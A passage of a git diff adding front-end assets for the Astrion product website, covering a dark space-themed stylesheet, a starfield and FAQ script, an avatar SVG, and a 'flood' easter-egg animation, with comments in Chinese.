requestAnimationFrame(stepFn); + } + }; + return h; + } + + /* 由 IDLE 眼睛派生缩放版本(困=缩短,瞪=加长):只缩放 y 分量(x 分量全为 0) */ + function eyeScale(k) { + return EYE_IDLE.map(function (v, i) { return i % 2 ? v * k : v; }); + } + + window.AstrionAvatar = { + mount: mount, + handle: handle, + eyeScale: eyeScale, + EYE_IDLE: EYE_IDLE, + EYE_BLINK: EYE_BLINK + }; +})(); diff --git a/website-design/exp/site-assets/shield.svg b/website-design/exp/site-assets/shield.svg new file mode 100644 index 00000000..9ce15a2e --- /dev/null +++ b/website-design/exp/site-assets/shield.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/website-design/exp/site-assets/site.css b/website-design/exp/site-assets/site.css new file mode 100644 index 00000000..eac9b68b --- /dev/null +++ b/website-design/exp/site-assets/site.css @@ -0,0 +1,549 @@ +/* ═══════════════════════════════════════════════════════════ + Astrion 官网主页 — 深空主题 + 原则:无 glow、无圆角套娃、无大面积纯黑、克制用色 + ═══════════════════════════════════════════════════════════ */ + +:root { + /* 深空底色:带蓝意的暗色,不用纯黑 */ + --bg-0: #0c1120; /* 页面最深底 */ + --bg-1: #111830; /* 天顶微亮 */ + --bg-panel: #151c31; /* 实体面板(不透明) */ + --text-1: #eef1f8; + --text-2: #a7b0c4; + --text-3: #6b7488; + --line: rgba(168, 180, 210, 0.14); + --line-strong: rgba(168, 180, 210, 0.24); + /* 唯一强调色:星空冰蓝,克制使用(eyebrow/hover/active 态) */ + --accent: #a9c2f0; + --accent-strong: #c1d4f6; + --accent-ink: #0c1120; + /* CTA 用星白实底 */ + --cta: #eef1f8; + --cta-hover: #dde3f0; + /* 迷你示意用的状态色(低饱和) */ + --ok: #7ba889; + --del: #b0766a; + + --font-sans: -apple-system, BlinkMacSystemFont, "SF Pro Text", "PingFang SC", + "Noto Sans SC", "Helvetica Neue", "Microsoft YaHei", sans-serif; + --font-mono: ui-monospace, "SF Mono", "SFMono-Regular", Menlo, Consolas, + "Liberation Mono", monospace; + + --page-max: 1120px; + --topbar-h: 60px; +} + +* { margin: 0; padding: 0; box-sizing: border-box; } + +html { + scroll-behavior: smooth; + /* 橡皮筋过度滚动时露出的底色:与页面渐变同源,杜绝露白 */ + background: linear-gradient(180deg, #111830 0%, #0c1120 34rem, #0c1120 100%); + background-color: #0c1120; +} + +body { + font-family: var(--font-sans); + color: var(--text-1); + background: linear-gradient(180deg, var(--bg-1) 0%, var(--bg-0) 34rem, var(--bg-0) 100%); + background-attachment: fixed; + line-height: 1.6; + -webkit-font-smoothing: antialiased; + overflow-x: hidden; +} + +::selection { background: rgba(169, 194, 240, 0.3); } + +a { color: inherit; text-decoration: none; } + +code { + font-family: var(--font-mono); + font-size: 0.86em; + padding: 0.1em 0.42em; + background: rgba(168, 180, 210, 0.12); + border-radius: 5px; +} + +/* ───────── 星空画布:fixed 全页背景,内容浮在上 ───────── */ + +#starfield { + position: fixed; + inset: 0; + width: 100%; + height: 100%; + z-index: 0; + pointer-events: none; +} + +.topbar, main, .footer { position: relative; z-index: 1; } + +/* ───────── 通用 ───────── */ + +.eyebrow { + font-family: var(--font-mono); + font-size: 12px; + letter-spacing: 0.18em; + text-transform: uppercase; + color: var(--accent); +} + +.section-head { + max-width: var(--page-max); + margin: 0 auto; + padding: 0 32px; +} + +.section-title { + margin-top: 14px; + font-size: clamp(26px, 3.4vw, 36px); + font-weight: 650; + letter-spacing: -0.01em; + line-height: 1.25; +} + +.section-sub { + margin-top: 12px; + max-width: 560px; + color: var(--text-2); + font-size: 15px; +} + +/* ───────── 按钮:固定高度,状态切换不改尺寸 ───────── */ + +.btn { + display: inline-flex; + align-items: center; + justify-content: center; + height: 44px; + padding: 0 22px; + border-radius: 8px; + font-size: 15px; + font-weight: 550; + letter-spacing: 0.01em; + border: 1px solid transparent; + transition: background-color 0.16s ease, border-color 0.16s ease, color 0.16s ease; + white-space: nowrap; +} + +.btn-sm { height: 36px; padding: 0 16px; font-size: 13.5px; } + +.btn-primary { background: var(--cta); color: var(--accent-ink); } +.btn-primary:hover { background: var(--cta-hover); } + +.btn-ghost { border-color: var(--line-strong); color: var(--text-1); } +.btn-ghost:hover { border-color: var(--text-2); background: rgba(168, 180, 210, 0.06); } + +/* ───────── 顶栏 ───────── */ + +.topbar { + position: fixed; + top: 0; left: 0; right: 0; + height: var(--topbar-h); + z-index: 50; + /* 初始透明(浮在 hero 上),滚动后实底 */ + background: transparent; + border-bottom: 1px solid transparent; + transition: background-color 0.2s ease, border-color 0.2s ease; +} + +.topbar.scrolled { + background: var(--bg-0); + border-bottom-color: var(--line); +} + +.topbar-inner { + max-width: var(--page-max); + height: 100%; + margin: 0 auto; + padding: 0 32px; + display: flex; + align-items: center; + justify-content: space-between; +} + +.brand { display: inline-flex; align-items: center; gap: 10px; } +.brand-logo { width: 26px; height: 26px; color: var(--text-1); display: inline-flex; } +.brand-logo .astrion-avatar { width: 100%; height: 100%; } +.brand-logo-sm { width: 20px; height: 20px; } +.brand-name { font-size: 16px; font-weight: 620; letter-spacing: 0.01em; } + +.topnav { display: flex; align-items: center; gap: 26px; } + +.topnav-link { + font-size: 14px; + color: var(--text-2); + transition: color 0.15s ease; +} +.topnav-link:hover { color: var(--text-1); } + +/* ───────── 总览 ───────── */ + +.hero { + max-width: var(--page-max); + margin: 0 auto; + padding: calc(var(--topbar-h) + 96px) 32px 110px; +} + +.hero-title-row { margin-top: 22px; } + +.hero-title { + font-size: clamp(72px, 12.5vw, 156px); + font-weight: 700; + letter-spacing: -0.035em; + line-height: 1; + background: linear-gradient(160deg, #f4f6fc 30%, #b9c3da 100%); + -webkit-background-clip: text; + background-clip: text; + color: transparent; +} + +/* 六边形眼睛跟随标题字号: + 盒高 1.025em → 六边形实高 ≈0.71em(= 大写字高), + vertical-align 补偿 viewBox 底部余白,与标题 baseline 对齐 */ +.hero-mascot { + display: inline-block; + width: 1.025em; + height: 1.025em; + margin-left: 0.16em; + vertical-align: -0.157em; + color: #eef1f8; +} +.hero-mascot .astrion-avatar { width: 100%; height: 100%; } + +.hero-sub { + margin-top: 28px; + max-width: 520px; + font-size: 17px; + color: var(--text-2); +} + +.hero-actions { margin-top: 34px; display: flex; gap: 14px; } + +.hero-platforms { + margin-top: 44px; + display: flex; + align-items: center; + flex-wrap: wrap; + gap: 14px; + font-family: var(--font-mono); + font-size: 13px; + color: var(--text-3); +} + +.platform em { font-style: normal; color: var(--text-3); opacity: 0.75; } +.platform-sep { width: 3px; height: 3px; border-radius: 50%; background: var(--text-3); opacity: 0.5; } + +/* ───────── 演示区 ───────── */ + +.demo { padding: 60px 0 40px; scroll-margin-top: 40px; } + +.demo-frame-wrap { + max-width: calc(var(--page-max) + 2px); + margin: 34px auto 0; + padding: 0 32px; +} + +.demo-frame { + position: relative; + border: 1px solid var(--line-strong); + border-radius: 10px; + overflow: hidden; + background: var(--bg-panel); +} + +.demo-frame iframe { + display: block; + border: 0; + width: 1400px; /* 逻辑尺寸:永不触发窄屏断点 */ + height: 860px; + transform-origin: top left; +} + +.demo-note { + max-width: var(--page-max); + margin: 14px auto 0; + padding: 0 32px; + font-size: 13px; + color: var(--text-3); +} + +/* ───────── 特色功能 ───────── */ + +.features { padding: 110px 0 30px; scroll-margin-top: 20px; } + +.feature-list { + max-width: var(--page-max); + margin: 26px auto 0; + padding: 0 32px; +} + +.feature-row { + display: block; + padding: 54px 0; + border-top: 1px solid var(--line); +} +.feature-row:last-child { border-bottom: 1px solid var(--line); } + +/* 带动画的行:左文右动画。动画列给足 540(03/04 舞台逻辑宽)→ 舞台 curScale=1 不缩放, + 三个动画的智能体渲染尺寸一致 */ +.feature-row--anim { + display: grid; + grid-template-columns: minmax(0, 1fr) minmax(0, 540px); + gap: clamp(32px, 6vw, 80px); + align-items: center; +} +.feature-anim { + position: relative; + height: 388px; +} +/* 动画内部元素样式在 anim-embed.css(与 anim-demo 共用类名, token 取自主题) */ + +.feature-index { + font-family: var(--font-mono); + font-size: 12.5px; + color: var(--text-3); + letter-spacing: 0.14em; +} + +.feature-title { + margin-top: 10px; + font-size: clamp(21px, 2.6vw, 27px); + font-weight: 640; + letter-spacing: -0.01em; +} + +.feature-desc { + margin-top: 12px; + max-width: 560px; + font-size: 15px; + color: var(--text-2); +} + +/* —— 迷你 UI 示意:纯 CSS,无装饰性元素 —— */ + +.feature-visual { + display: flex; + justify-content: center; + align-items: center; + min-height: 120px; +} + +/* 01 三档分段控件 */ +.mini-modeswitch { + display: flex; + border: 1px solid var(--line-strong); + border-radius: 9px; + overflow: hidden; + background: var(--bg-panel); +} +.mini-mode { + height: 38px; + display: flex; + align-items: center; + padding: 0 22px; + font-size: 14px; + color: var(--text-2); + border-left: 1px solid var(--line); +} +.mini-mode:first-child { border-left: 0; } +.mini-mode.is-active { background: rgba(169, 194, 240, 0.13); color: var(--accent-strong); } + +/* 02 权限开关组 */ +.mini-perms { + display: flex; + flex-direction: column; + gap: 2px; + border: 1px solid var(--line-strong); + border-radius: 9px; + background: var(--bg-panel); + padding: 6px 0; + min-width: 260px; +} +.mini-perm { + display: flex; + align-items: center; + justify-content: space-between; + height: 40px; + padding: 0 16px; +} +.mini-perm + .mini-perm { border-top: 1px solid var(--line); } +.mini-perm-label { font-size: 14px; color: var(--text-1); } +.mini-switch { + width: 34px; + height: 20px; + border-radius: 10px; + background: rgba(168, 180, 210, 0.22); + position: relative; + transition: background-color 0.16s ease; +} +.mini-switch::after { + content: ""; + position: absolute; + top: 2px; left: 2px; + width: 16px; height: 16px; + border-radius: 50%; + background: var(--text-1); + transition: transform 0.16s ease; +} +.mini-switch.is-on { background: var(--accent); } +.mini-switch.is-on::after { transform: translateX(14px); background: #0c1120; } + +/* 03 diff 片段 */ +.mini-diff { + border: 1px solid var(--line-strong); + border-radius: 9px; + background: var(--bg-panel); + font-family: var(--font-mono); + font-size: 12.5px; + min-width: 300px; + overflow: hidden; +} +.mini-diff-file { + padding: 9px 14px; + color: var(--text-2); + border-bottom: 1px solid var(--line); +} +.mini-diff-line { padding: 5px 14px; white-space: nowrap; } +.mini-diff-line.is-add { color: var(--ok); background: rgba(123, 168, 137, 0.08); } +.mini-diff-line.is-del { color: var(--del); background: rgba(176, 118, 106, 0.07); } +.mini-diff-stat { + padding: 8px 14px; + border-top: 1px solid var(--line); + color: var(--text-3); +} + +/* 04 检查点时间线 */ +.mini-timeline { + display: flex; + flex-direction: column; + gap: 0; + border: 1px solid var(--line-strong); + border-radius: 9px; + background: var(--bg-panel); + padding: 8px 0; + min-width: 260px; +} +.mini-tl-node { + display: flex; + align-items: center; + gap: 12px; + height: 40px; + padding: 0 16px; + position: relative; +} +.mini-tl-node + .mini-tl-node::before { + content: ""; + position: absolute; + left: 21px; + top: -6px; + width: 1px; + height: 12px; + background: var(--line-strong); +} +.mini-tl-dot { + width: 11px; height: 11px; + border-radius: 50%; + border: 2px solid var(--text-3); + flex: none; +} +.mini-tl-node.is-current .mini-tl-dot { border-color: var(--accent); background: var(--accent); } +.mini-tl-label { font-size: 14px; color: var(--text-1); } +.mini-tl-node.is-current .mini-tl-label { color: var(--accent-strong); } + +/* ───────── FAQ ───────── */ + +.faq { padding: 110px 0 60px; scroll-margin-top: 20px; } + +.faq-list { + max-width: 760px; + margin: 30px auto 0; + padding: 0 32px; +} + +.faq-item { border-top: 1px solid var(--line); } +.faq-item:last-child { border-bottom: 1px solid var(--line); } + +.faq-q { + display: flex; + align-items: center; + justify-content: space-between; + gap: 20px; + min-height: 62px; + padding: 12px 2px; + cursor: pointer; + font-size: 16px; + font-weight: 550; + list-style: none; + transition: color 0.15s ease; +} +.faq-q::-webkit-details-marker { display: none; } +.faq-q:hover { color: var(--accent-strong); } + +.faq-icon { + flex: none; + width: 14px; height: 14px; + position: relative; +} +.faq-icon::before, .faq-icon::after { + content: ""; + position: absolute; + background: var(--text-2); + transition: transform 0.2s ease; +} +.faq-icon::before { left: 0; top: 6px; width: 14px; height: 1.5px; } +.faq-icon::after { left: 6.25px; top: 0; width: 1.5px; height: 14px; } +.faq-item[open] .faq-icon::after { transform: scaleY(0); } + +.faq-a { + overflow: hidden; + /* JS 做高度动画;无 JS 时 details 原生展开也完整可读 */ +} +.faq-a p { + padding: 2px 2px 22px; + max-width: 640px; + color: var(--text-2); + font-size: 15px; +} + +/* ───────── 底栏 ───────── */ + +.footer { + border-top: 1px solid var(--line); + margin-top: 60px; +} + +.footer-inner { + max-width: var(--page-max); + margin: 0 auto; + padding: 26px 32px; + display: flex; + align-items: center; + justify-content: space-between; +} + +.footer-brand { + display: flex; + align-items: center; + gap: 9px; + font-size: 14px; + font-weight: 580; + color: var(--text-2); +} + +.footer-links { display: flex; gap: 24px; } +.footer-links a { font-size: 13.5px; color: var(--text-3); transition: color 0.15s ease; } +.footer-links a:hover { color: var(--text-1); } + +/* ───────── 响应式 ───────── */ + +@media (max-width: 860px) { + .feature-row--anim { grid-template-columns: minmax(0, 1fr); } + .feature-anim { height: 340px; } + .topnav-link { display: none; } + .hero { padding-top: calc(var(--topbar-h) + 64px); padding-bottom: 72px; } +} + +@media (prefers-reduced-motion: reduce) { + html { scroll-behavior: auto; } + .btn, .topbar, .faq-q { transition: none; } +} diff --git a/website-design/exp/site-assets/site.js b/website-design/exp/site-assets/site.js new file mode 100644 index 00000000..143df82f --- /dev/null +++ b/website-design/exp/site-assets/site.js @@ -0,0 +1,288 @@ +/* Astrion 官网主页交互 + * 1) 多层视差星空(无连线、无光晕:实心星点 + 闪烁 + 极慢漂移 + 鼠标/滚动视差 + 偶发流星) + * 2) 顶栏滚动态 + * 3) FAQ 手风琴平滑展开(details + 高度动画) + * 4) 演示区 iframe 等比缩放(内部固定 1400×860 逻辑尺寸) + * 5) 挂载品牌眼睛(眨眼 + 鼠标追踪) + */ + +(function () { + 'use strict'; + + var reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches; + + /* ═══════════ 1) 星空 ═══════════ */ + + var canvas = document.getElementById('starfield'); + var ctx = canvas.getContext('2d'); + var W = 0; + var H = 0; + var DPR = Math.min(window.devicePixelRatio || 1, 2); + + // 层:远 → 近。count 按屏幕面积缩放,drift 为每秒下落 px,parallax 为鼠标/滚动视差系数 + var LAYERS = [ + { density: 1 / 5200, sizeMin: 0.4, sizeMax: 0.9, drift: 1.2, parallax: 6, twinkle: 0.35, alpha: 0.55 }, + { density: 1 / 9800, sizeMin: 0.7, sizeMax: 1.3, drift: 2.6, parallax: 14, twinkle: 0.55, alpha: 0.75 }, + { density: 1 / 21000, sizeMin: 1.1, sizeMax: 1.9, drift: 4.5, parallax: 26, twinkle: 0.8, alpha: 1.0 } + ]; + + var stars = []; + var meteors = []; + var nextMeteorAt = 0; + + function resize() { + W = window.innerWidth; + H = window.innerHeight; + canvas.width = Math.round(W * DPR); + canvas.height = Math.round(H * DPR); + canvas.style.width = W + 'px'; + canvas.style.height = H + 'px'; + ctx.setTransform(DPR, 0, 0, DPR, 0, 0); + seed(); + if (reduceMotion) draw(0, 0, 0); + } + + function seed() { + stars = []; + var area = W * H; + for (var li = 0; li < LAYERS.length; li++) { + var L = LAYERS[li]; + var n = Math.max(12, Math.round(area * L.density)); + for (var i = 0; i < n; i++) { + stars.push({ + layer: li, + x: Math.random() * W, + y: Math.random() * H, + r: L.sizeMin + Math.random() * (L.sizeMax - L.sizeMin), + // 闪烁相位与速度(部分星几乎不闪,画面才稳) + phase: Math.random() * Math.PI * 2, + speed: 0.25 + Math.random() * 0.9, + amp: 0.25 + Math.random() * 0.75 + }); + } + } + } + + // 鼠标视差目标值 + var mouseTx = 0; + var mouseTy = 0; + var mouseX = 0; + var mouseY = 0; + + window.addEventListener('mousemove', function (e) { + mouseTx = e.clientX / W - 0.5; + mouseTy = e.clientY / H - 0.5; + }, { passive: true }); + + function scheduleMeteor(now) { + // 22~48 秒一颗,保持稀有 + nextMeteorAt = now + 22000 + Math.random() * 26000; + } + + function spawnMeteor() { + var fromLeft = Math.random() < 0.5; + var startX = fromLeft ? -40 : W * (0.35 + Math.random() * 0.65); + var startY = Math.random() * H * 0.4; + var angle = fromLeft ? 0.32 + Math.random() * 0.2 : Math.PI - (0.32 + Math.random() * 0.2); + var speed = 380 + Math.random() * 240; + meteors.push({ + x: startX, + y: startY, + vx: Math.cos(angle) * speed, + vy: Math.abs(Math.sin(angle)) * speed, + life: 0, + ttl: 0.7 + Math.random() * 0.35 + }); + } + + var lastTs = 0; + + function tick(ts) { + if (document.hidden) { + lastTs = ts; + requestAnimationFrame(tick); + return; + } + var dt = Math.min((ts - lastTs) / 1000 || 0, 0.05); + lastTs = ts; + var now = ts; + + // 鼠标视差缓动 + mouseX += (mouseTx - mouseX) * 0.04; + mouseY += (mouseTy - mouseY) * 0.04; + + if (now >= nextMeteorAt) { + spawnMeteor(); + scheduleMeteor(now); + } + + draw(dt, ts, window.scrollY || 0); + + // 流星生命推进 + for (var i = meteors.length - 1; i >= 0; i--) { + var m = meteors[i]; + m.life += dt; + m.x += m.vx * dt; + m.y += m.vy * dt; + if (m.life > m.ttl || m.y > H + 60) meteors.splice(i, 1); + } + + requestAnimationFrame(tick); + } + + function draw(dt, ts, scrollY) { + ctx.clearRect(0, 0, W, H); + var t = ts / 1000; + + for (var i = 0; i < stars.length; i++) { + var s = stars[i]; + var L = LAYERS[s.layer]; + if (dt) { + s.y += L.drift * dt; + if (s.y > H + 4) { s.y = -4; s.x = Math.random() * W; } + } + // 视差:滚动让星野整体上移(近处更明显),鼠标让层间错动 + var px = s.x + mouseX * L.parallax * 2; + var py = s.y - (scrollY * L.parallax * 0.012) + mouseY * L.parallax; + // 纵向包裹,保证滚动后星点仍铺满 + var wrappedY = ((py % (H + 8)) + (H + 8)) % (H + 8) - 4; + + var tw = 1 - L.twinkle * 0.5 + L.twinkle * 0.5 * Math.sin(t * s.speed + s.phase) * s.amp; + var a = L.alpha * Math.max(0.15, Math.min(1, tw)); + ctx.globalAlpha = a; + ctx.fillStyle = '#dfe6f5'; + ctx.fillRect(px, wrappedY, s.r, s.r); + } + + // 流星:短细线段,头部略亮(线性渐变线条,不是光晕) + for (var j = 0; j < meteors.length; j++) { + var m = meteors[j]; + var fade = 1 - m.life / m.ttl; + var tailX = m.x - m.vx * 0.14; + var tailY = m.y - m.vy * 0.14; + var grad = ctx.createLinearGradient(tailX, tailY, m.x, m.y); + grad.addColorStop(0, 'rgba(223,230,245,0)'); + grad.addColorStop(1, 'rgba(223,230,245,' + (0.6 * fade).toFixed(3) + ')'); + ctx.globalAlpha = 1; + ctx.strokeStyle = grad; + ctx.lineWidth = 1.1; + ctx.beginPath(); + ctx.moveTo(tailX, tailY); + ctx.lineTo(m.x, m.y); + ctx.stroke(); + } + + ctx.globalAlpha = 1; + } + + resize(); + window.addEventListener('resize', resize, { passive: true }); + + if (reduceMotion) { + draw(0, 0, 0); // 静态星图 + } else { + scheduleMeteor(performance.now() + 6000); // 首颗稍提前,证明存在 + requestAnimationFrame(tick); + // 滚动时重绘由 rAF 持续驱动,无需 scroll 监听 + } + + /* ═══════════ 2) 顶栏滚动态 ═══════════ */ + + var topbar = document.getElementById('topbar'); + function onScroll() { + topbar.classList.toggle('scrolled', (window.scrollY || 0) > 24); + } + window.addEventListener('scroll', onScroll, { passive: true }); + onScroll(); + + /* ═══════════ 3) FAQ 平滑手风琴 ═══════════ */ + + var faqItems = document.querySelectorAll('.faq-item'); + faqItems.forEach(function (item) { + var summary = item.querySelector('.faq-q'); + var panel = item.querySelector('.faq-a'); + summary.addEventListener('click', function (e) { + e.preventDefault(); + if (reduceMotion) { + item.open = !item.open; + return; + } + if (item.open) { + // 收起:先固定高度再过渡到 0 + var h0 = panel.offsetHeight; + panel.style.height = h0 + 'px'; + requestAnimationFrame(function () { + panel.style.transition = 'height 0.22s ease'; + panel.style.height = '0px'; + }); + panel.addEventListener('transitionend', function done() { + panel.removeEventListener('transitionend', done); + panel.style.cssText = ''; + item.open = false; + }); + } else { + item.open = true; + var h1 = panel.offsetHeight; + panel.style.height = '0px'; + requestAnimationFrame(function () { + panel.style.transition = 'height 0.24s ease'; + panel.style.height = h1 + 'px'; + }); + panel.addEventListener('transitionend', function done() { + panel.removeEventListener('transitionend', done); + panel.style.cssText = ''; + }); + } + }); + }); + + /* ═══════════ 4) 演示区等比缩放 ═══════════ */ + + var frame = document.getElementById('demoFrame'); + var iframe = document.getElementById('demoIframe'); + var DEMO_W = 1400; + var DEMO_H = 860; + + function fitDemo() { + var available = frame.clientWidth; + var scale = Math.min(1, available / DEMO_W); + iframe.style.transform = 'scale(' + scale + ')'; + frame.style.height = Math.round(DEMO_H * scale) + 'px'; + } + + if ('ResizeObserver' in window) { + new ResizeObserver(fitDemo).observe(frame); + } + window.addEventListener('resize', fitDemo, { passive: true }); + fitDemo(); + + /* ═══════════ 5) 品牌眼睛 ═══════════ */ + + if (window.AstrionAvatar) { + AstrionAvatar.mount(document.getElementById('heroMascot'), { mode: 'idle', blink: true, track: true }); + } + + /* ═══════════ 6) 运行模式动画(功能 01 行) ═══════════ */ + + if (window.AnimModes && document.getElementById('animModes')) { + AnimModes.init(document.getElementById('animModes')); + } + + /* ═══════════ 7) 沙箱与网络授权动画(功能 02 行) ═══════════ */ + + if (window.AnimSandbox && document.getElementById('animSandbox')) { + AnimSandbox.init(document.getElementById('animSandbox')); + } + + /* ═══════════ 8) 修改记录动画(功能 03 行) ═══════════ */ + + if (window.AnimRecords && document.getElementById('animRecords')) { + AnimRecords.init(document.getElementById('animRecords')); + } + + /* ═══════════ 9) 版本控制动画(功能 04 行) ═══════════ */ + + if (window.AnimVersion && document.getElementById('animVersion')) { + AnimVersion.init(document.getElementById('animVersion')); + } +})(); diff --git a/website-design/exp/static/astrion-avatar.svg b/website-design/exp/static/astrion-avatar.svg new file mode 100644 index 00000000..02df368f --- /dev/null +++ b/website-design/exp/static/astrion-avatar.svg @@ -0,0 +1,35 @@ + diff --git a/website-design/exp/static/easter-eggs/flood.css b/website-design/exp/static/easter-eggs/flood.css new file mode 100644 index 00000000..4629b7c7 --- /dev/null +++ b/website-design/exp/static/easter-eggs/flood.css @@ -0,0 +1,38 @@ +.easter-egg-overlay .easter-egg-water { + position: relative; + width: 100%; + height: 100%; +} + +.easter-egg-overlay .easter-egg-water-container { + position: absolute; + bottom: -2px; + left: 0; + width: 100%; + height: 0%; + overflow: visible; + pointer-events: none; +} + +.easter-egg-overlay .easter-egg-water-container .wave { + position: absolute; + bottom: 0; + left: 0; + width: 200%; + height: 100%; + background-repeat: repeat-x; + background-position: bottom; + opacity: 0.9; +} + +.easter-egg-overlay .easter-egg-water-container .wave.wave1 { + filter: blur(0.5px); +} + +.easter-egg-overlay .easter-egg-water-container .wave.wave2 { + filter: blur(1px); +} + +.easter-egg-overlay .easter-egg-water-container .wave.wave3 { + filter: blur(1.5px); +} diff --git a/website-design/exp/static/easter-eggs/flood.js b/website-design/exp/static/easter-eggs/flood.js new file mode 100644 index 00000000..24f4df4d --- /dev/null +++ b/website-design/exp/static/easter-eggs/flood.js @@ -0,0 +1,267 @@ +(function registerFloodEffect(global) { + const registry = global.EasterEggRegistry; + if (!registry) { + console.error('[easter-eggs:flood] 未找到 EasterEggRegistry,无法注册特效'); + return; + } + + registry.register('flood', function createFloodEffect(context = {}) { + const root = context.root; + if (!root) { + throw new Error('缺少彩蛋根节点'); + } + + const payload = context.payload || {}; + const wrapper = document.createElement('div'); + wrapper.className = 'easter-egg-water'; + + const container = document.createElement('div'); + container.className = 'easter-egg-water-container'; + + wrapper.appendChild(container); + root.appendChild(wrapper); + + const waves = createWaves(container); + + const state = { + payload, + root, + wrapper, + container, + waves, + styleNode: null, + retreatPromise: null, + retreatTimeout: null + }; + + runFloodAnimation(state); + + return { + /** + * 销毁特效。 + * @param {{immediate?: boolean}} options + */ + destroy(options = {}) { + const immediate = Boolean(options.immediate); + if (immediate) { + cleanupFloodState(state); + return null; + } + if (state.retreatPromise) { + return state.retreatPromise; + } + return startFloodRetreat(state); + } + }; + }); + + function createWaves(container) { + const waves = []; + for (let i = 1; i <= 3; i++) { + const wave = document.createElement('div'); + wave.className = `wave wave${i}`; + container.appendChild(wave); + waves.push(wave); + } + return waves; + } + + function runFloodAnimation(state) { + const { container, waves, payload } = state; + if (!container || !waves.length) { + return; + } + + const styleEl = document.createElement('style'); + styleEl.setAttribute('data-easter-egg', 'flood'); + document.head.appendChild(styleEl); + state.styleNode = styleEl; + const sheet = styleEl.sheet; + if (!sheet) { + return; + } + + container.style.animation = 'none'; + container.style.height = '0%'; + void container.offsetHeight; + + const range = Array.isArray(payload.intensity_range) && payload.intensity_range.length === 2 + ? payload.intensity_range + : [0.85, 0.92]; + const minHeight = Math.min(range[0], range[1]); + const maxHeight = Math.max(range[0], range[1]); + const targetHeight = randRange(minHeight * 100, maxHeight * 100); + const riseDuration = randRange(30, 40); + const easing = pickOne([ + 'ease-in-out', + 'cubic-bezier(0.25, 0.46, 0.45, 0.94)', + 'cubic-bezier(0.42, 0, 0.58, 1)' + ]) || 'ease-in-out'; + const riseName = uniqueKey('flood_rise'); + sheet.insertRule( + `@keyframes ${riseName} { 0% { height: 0%; } 100% { height: ${targetHeight}%; } }`, + sheet.cssRules.length + ); + container.style.animation = `${riseName} ${riseDuration}s ${easing} forwards`; + + const directionSets = [ + [1, 1, -1], + [1, -1, -1], + [-1, 1, 1], + [-1, -1, 1] + ]; + const directions = pickOne(directionSets) || [1, -1, 1]; + const colors = [ + 'rgba(135, 206, 250, 0.35)', + 'rgba(100, 181, 246, 0.45)', + 'rgba(33, 150, 243, 0.4)' + ]; + + waves.forEach((wave, index) => { + const svgData = buildFloodWaveShape(index); + const color = colors[index % colors.length]; + const svg = ``; + const encoded = encodeURIComponent(svg); + wave.style.backgroundImage = `url("data:image/svg+xml,${encoded}")`; + wave.style.backgroundSize = `${svgData.waveWidth}px 100%`; + + const animationName = uniqueKey(`flood_wave_${index}`); + const startPosition = randInt(-200, 200); + const distance = svgData.waveWidth * (directions[index] || 1); + const duration = index === 0 ? randRange(16, 22) : index === 1 ? randRange(11, 16) : randRange(7, 12); + const delay = randRange(0, 1.5); + sheet.insertRule( + `@keyframes ${animationName} { 0% { background-position-x: ${startPosition}px; } 100% { background-position-x: ${startPosition + distance}px; } }`, + sheet.cssRules.length + ); + wave.style.animation = `${animationName} ${duration}s linear infinite`; + wave.style.animationDelay = `${delay}s`; + wave.style.backgroundPositionX = `${startPosition}px`; + }); + } + + function startFloodRetreat(state) { + const { container } = state; + if (!container) { + cleanupFloodState(state); + return Promise.resolve(); + } + + state.retreatPromise = new Promise((resolve) => { + const measuredHeight = container.offsetHeight || container.clientHeight; + const computedHeight = window.getComputedStyle(container).height; + const currentHeight = measuredHeight + ? `${measuredHeight}px` + : (computedHeight && computedHeight !== 'auto' ? computedHeight : '0px'); + container.style.animation = 'none'; + container.style.transition = 'none'; + container.style.height = currentHeight; + void container.offsetHeight; + + const retreatDuration = 8; + container.style.transition = `height ${retreatDuration}s ease-in-out`; + requestAnimationFrame(() => { + container.style.height = '0px'; + }); + + state.retreatTimeout = window.setTimeout(() => { + container.style.transition = 'none'; + cleanupFloodState(state); + resolve(); + }, retreatDuration * 1000); + }); + + return state.retreatPromise; + } + + function cleanupFloodState(state) { + if (state.retreatTimeout) { + clearTimeout(state.retreatTimeout); + state.retreatTimeout = null; + } + clearFloodAnimations(state); + teardownFloodStyle(state); + if (state.wrapper && state.wrapper.parentNode) { + state.wrapper.parentNode.removeChild(state.wrapper); + } + state.wrapper = null; + state.container = null; + state.waves = []; + state.retreatPromise = null; + } + + function clearFloodAnimations(state) { + const { container, waves } = state; + if (!container) { + return; + } + container.style.animation = 'none'; + container.style.transition = 'none'; + container.style.height = '0%'; + waves.forEach((wave) => { + wave.style.animation = 'none'; + wave.style.backgroundImage = ''; + wave.style.backgroundSize = ''; + wave.style.backgroundPositionX = '0px'; + }); + } + + function teardownFloodStyle(state) { + if (state.styleNode && state.styleNode.parentNode) { + state.styleNode.parentNode.removeChild(state.styleNode); + } + state.styleNode = null; + } + + function buildFloodWaveShape(layerIndex) { + const baseHeight = 180 + layerIndex * 12; + const cycles = 4; + let path = `M0,${baseHeight}`; + let currentX = 0; + let previousAmplitude = randRange(40, 80); + + for (let i = 0; i < cycles; i++) { + const waveLength = randRange(700, 900); + const minAmp = Math.max(20, previousAmplitude - 20); + const maxAmp = Math.min(90, previousAmplitude + 20); + const amplitude = randRange(minAmp, maxAmp); + previousAmplitude = amplitude; + const halfWave = waveLength / 2; + + const peakX = currentX + halfWave / 2; + path += ` Q${peakX},${baseHeight - amplitude} ${currentX + halfWave},${baseHeight}`; + + const troughX = currentX + halfWave + halfWave / 2; + path += ` Q${troughX},${baseHeight + amplitude} ${currentX + waveLength},${baseHeight}`; + + currentX += waveLength; + } + + path += ` L${currentX},1000 L0,1000 Z`; + return { + path, + width: currentX, + waveWidth: currentX / cycles + }; + } + + function randRange(min, max) { + return Math.random() * (max - min) + min; + } + + function randInt(min, max) { + return Math.floor(randRange(min, max + 1)); + } + + function pickOne(arr) { + if (!Array.isArray(arr) || arr.length === 0) { + return null; + } + return arr[Math.floor(Math.random() * arr.length)]; + } + + function uniqueKey(prefix) { + const random = Math.random().toString(36).slice(2, 7); + return `${prefix}_${Date.now()}_${random}`; + } +})(window); diff --git a/website-design/exp/static/easter-eggs/registry.js b/website-design/exp/static/easter-eggs/registry.js new file mode 100644 index 00000000..b8e244ca --- /dev/null +++ b/website-design/exp/static/easter-eggs/registry.js @@ -0,0 +1,67 @@ +(function initEasterEggRegistry(global) { + /** + * 一个极简的彩蛋注册表,用于在主应用与各特效实现之间解耦。 + * 每个特效需要调用 register(effectName, factory),factory 必须返回带有 destroy 